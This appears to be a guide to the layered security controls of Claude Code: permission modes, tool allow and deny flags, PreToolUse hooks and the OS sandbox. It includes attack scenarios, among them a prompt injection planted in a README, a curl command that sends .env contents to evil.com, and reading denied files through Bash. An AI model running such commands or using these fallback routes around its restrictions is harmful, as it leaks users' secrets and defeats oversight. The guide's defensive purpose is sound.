No single security mechanism in Claude Code is sufficient on its own. Each layer has blind spots that the next layer covers. The architecture is concentric circles: permissions control what Claude is allowed to ask for, tool restrictions control what capabilities exist at all, hooks intercept and gate every action in real time, and the OS sandbox enforces hard limits that no application code can override.
Layer 1: Permissions
Permission modes set the broadest policy for a session. They answer the question: when Claude wants to use a tool, does it need to ask?
The five modes form a spectrum from fully interactive to fully autonomous:
defaultprompts you on first use of each tool. Good for interactive exploration.acceptEditsauto-approves file edits but still prompts for shell commands.planis read-only. Claude can analyze but never modify.dontAsksilently denies anything not pre-approved via allow rules. Designed for headless workflows.bypassPermissionsskips all prompts. Reserved for isolated environments like CI containers.
Permission rules layer on top of modes. They follow the syntax Tool(specifier) — for example, Bash(git *) allows only git commands, while Edit(/src/**/*.ts) scopes edits to TypeScript files. Rules can be defined at five levels (managed, CLI flags, local project, shared project, user), and deny always wins regardless of where it is defined. A team lead can deny Bash(rm -rf *) in shared project settings and no individual developer can override it.
But permissions alone have a critical gap: they control the built-in tools, not the underlying OS. A Read(./.env) deny rule blocks the Read tool but does nothing to stop Bash(cat .env).
For the full reference on modes, rule syntax, and settings precedence, see Permission Modes.
Layer 2: Tool Restrictions
Where permissions control approval, tool restrictions control existence. The --allowedTools and --disallowedTools flags determine which tools Claude can even attempt to use.
# Git-only agent: Claude can read code and run git, nothing elseclaude -p "Summarize recent changes" \ --allowedTools "Bash(git *),Read,Glob,Grep"The pattern syntax for Bash uses glob matching. The space before * matters: Bash(git *) matches git status but not gitk, while Bash(git*) matches both.
The deny-wins rule applies here too. --disallowedTools always overrides --allowedTools. If a tool appears in both, it is blocked.
For MCP tools, the format is mcp__servername__toolname. Blocking the built-in Write tool does not block an MCP server that provides its own write capability. You must block MCP tools explicitly: --disallowedTools "mcp__servername__*".
The most dangerous gap at this layer is tool fallback. Claude is resourceful. If you block Write and Edit but leave Bash available, Claude will run echo "data" > file.txt via the shell. For a truly read-only agent, you must use both flags together:
--allowedTools "Read,Grep,Glob" --disallowedTools "Write,Edit,Bash"For the complete tool list, pattern syntax, and fallback behavior, see The Tool System.
Layer 3: Hooks
Hooks are lifecycle callbacks that fire at specific points during execution. For security, the most important event is PreToolUse, which fires before every tool call and can block it.
Unlike permissions and tool restrictions — which are static configuration — hooks run arbitrary code. This lets you build dynamic policies: parse the command string, check a blocklist, call an external validation service, or even ask another AI model whether the operation is safe.
{ "hooks": { "PreToolUse": [ { "matcher": "Bash", "hooks": [ { "type": "command", "command": "./.claude/hooks/validate-command.sh" } ] } ] }}The hook script receives tool input as JSON on stdin. Exit code 0 means allow, exit code 2 means block, and anything else falls through to normal permission evaluation.
The critical property of hooks is that they fire even when --dangerously-skip-permissions is active. Hooks are the one safety layer that cannot be bypassed by any flag or setting. This makes them the last line of defense for unattended agents running in CI/CD with all permission checks disabled.
Hooks also support PostToolUse for audit logging — recording what Claude did after the fact. Unlike PreToolUse, exit code 2 on PostToolUse cannot undo an action that already ran. Use PreToolUse to block, PostToolUse to log.
For hook types (command, HTTP, prompt, agent), matcher syntax, and configuration scopes, see Hooks as Guardrails.
Layer 4: OS Sandbox
The sandbox is the outermost and hardest boundary. It operates at the kernel level using macOS Seatbelt (sandbox-exec) or Linux bubblewrap (bwrap), enforcing filesystem and network restrictions that no application code — including Claude’s own Bash tool — can circumvent.
Filesystem isolation: By default, Claude can only access the current working directory, ~/.claude/, and the system temp directory. Everything else is blocked by the OS before the read or write reaches the filesystem. The --add-dir flag can extend access to additional directories.
Network isolation: When enabled, network access is blocked at the OS level. This prevents data exfiltration even if a prompt injection convinces Claude to curl sensitive data to an external server.
The sandbox catches what every other layer misses. If a prompt injection crafts a Bash command that attempts to read ~/.ssh/id_rsa, the filesystem sandbox blocks the path. If the injection somehow gets the file contents, the network sandbox blocks exfiltration. No amount of clever prompting can override a kernel-level restriction.
For sandbox architecture details, platform support, and --add-dir behavior, see Sandboxing.
Security Maturity Model
Security Posture by Maturity Level
| Level | Layers Used | Configuration | Best For |
|---|---|---|---|
| Beginner | Permissions only | —permission-mode default with interactive prompts for every tool | Learning, exploration, low-risk personal projects |
| Intermediate | Permissions + Tool restrictions | acceptEdits mode with —allowedTools scoping Bash to safe commands and —disallowedTools blocking web access | Daily development, team projects, code review workflows |
| Advanced | All four layers | dontAsk or bypassPermissions with explicit allow rules, PreToolUse hooks for command validation and audit logging, OS sandbox with network isolation | CI/CD pipelines, unattended agents, production automation, enterprise environments |
Moving from beginner to advanced is not about adding complexity for its own sake. Each level unlocks more autonomy. At the beginner level, Claude stops and waits for you constantly. At the intermediate level, it handles routine edits on its own while you approve shell commands. At the advanced level, Claude operates fully unattended — but within a cage of four concentric security boundaries that contain its blast radius.
Attack Scenarios
Understanding what each layer catches — and what it misses — is the key to configuring them correctly. Here are four scenarios that illustrate why all four layers are necessary.
Scenario 1: Prompt Injection via Untrusted File
A malicious README.md in a cloned repository contains hidden instructions telling Claude to exfiltrate the contents of ~/.ssh/id_rsa.
| Layer | Response |
|---|---|
| Permissions | If in default mode, prompts before Bash execution. User might catch it. In bypassPermissions mode, this layer does nothing. |
| Tool restrictions | If Bash is scoped to Bash(git *), the cat ~/.ssh/id_rsa command does not match and is blocked. But if Bash is unrestricted, this layer does nothing. |
| Hooks | A PreToolUse hook scanning for paths like ~/.ssh or /etc/shadow can block the command regardless of permission mode. |
| Sandbox | The filesystem sandbox blocks access to ~/.ssh/ because it is outside the allowed directories. Even if every other layer fails, the OS prevents the read. |
Scenario 2: Data Exfiltration via curl
Claude is tricked into running curl -X POST https://evil.com -d "$(cat .env)" to exfiltrate environment variables.
| Layer | Response |
|---|---|
| Permissions | Prompts for the Bash command in default mode. Missed in bypassPermissions. |
| Tool restrictions | Blocked if Bash is restricted to safe patterns like Bash(git *) or Bash(npm *). Missed if Bash is unrestricted. |
| Hooks | A hook scanning for curl commands with external URLs can block this. An HTTP hook can send the command to a validation service. |
| Sandbox | Network isolation blocks the outbound HTTP request at the OS level, even if every application-level check fails. |
Scenario 3: Unauthorized File Modification
Claude attempts to modify a production configuration file at /etc/nginx/nginx.conf.
| Layer | Response |
|---|---|
| Permissions | An Edit(/etc/**) deny rule blocks the Edit tool. But Claude can fall back to Bash with sed -i or echo >. |
| Tool restrictions | If Bash is in the disallowed list, the fallback is blocked. If only Edit and Write are blocked, Bash still works. |
| Hooks | A PreToolUse hook on Bash can parse the command and block writes to /etc/. |
| Sandbox | The filesystem sandbox blocks access to /etc/ because it is outside the working directory and not added via --add-dir. |
Scenario 4: Bypassing Read Deny Rules
A Read(./.env) deny rule is in place, but Claude reads the file anyway via Bash(cat .env).
| Layer | Response |
|---|---|
| Permissions | The deny rule only blocks the Read tool. Bash is a different tool with its own rules. This is a known gap. |
| Tool restrictions | If Bash is restricted to specific patterns that exclude cat, the fallback is blocked. But Bash(cat *) patterns are rarely configured. |
| Hooks | A PreToolUse hook on Bash can detect cat .env and block it. This is the most practical fix for this specific gap. |
| Sandbox | If .env is inside the working directory, the sandbox allows access. The sandbox protects directory boundaries, not individual files within allowed directories. |
This last scenario is particularly instructive. It shows that no single layer handles every case, and that hooks are often the best tool for closing gaps between the other layers.
Prompt injection is real and documented. Published security research shows Claude can be manipulated into escaping its own denylist and sandbox in certain conditions. That is why you need all four layers: permissions catch routine mistakes, tool restrictions limit the attack surface, hooks enforce dynamic policies, and the OS sandbox provides a hard boundary that no prompt can override. Relying on any single layer is a false sense of security.
Directory Inheritance: The Hidden Fifth Dimension
The four security layers above assume you are working in a single project directory. In monorepos or nested project structures, a critical question arises: which configs inherit from parent directories?
Config Inheritance Across Directories (Experimentally Verified)
| Config Type | Walks Up? | Blocked by .git? | Security Implication |
|---|---|---|---|
| CLAUDE.md | Yes | No | Parent instructions always apply — no isolation possible except separate repos |
| MCP configs | Yes | No | Parent MCP servers have tool access in all subfolders — use —strict-mcp-config to isolate |
| Skills | Yes | Yes | Parent skills visible in subfolders — mkdir .git blocks them |
| Hooks | No | N/A | Parent hooks do NOT enforce policies on subfolders — each needs its own |
| Permissions | No | N/A | Parent deny rules do NOT propagate — subfolders have independent permissions |
The asymmetry is the risk: a parent directory’s MCP servers and instructions propagate everywhere, but its security hooks and permission deny rules do not. A root-level .mcp.json gives every subfolder access to potentially dangerous tools, while the root-level hooks that guard those tools only fire in the root directory itself. For defense in depth in monorepos, each subfolder that needs security enforcement must define its own .claude/settings.json with hooks and permissions.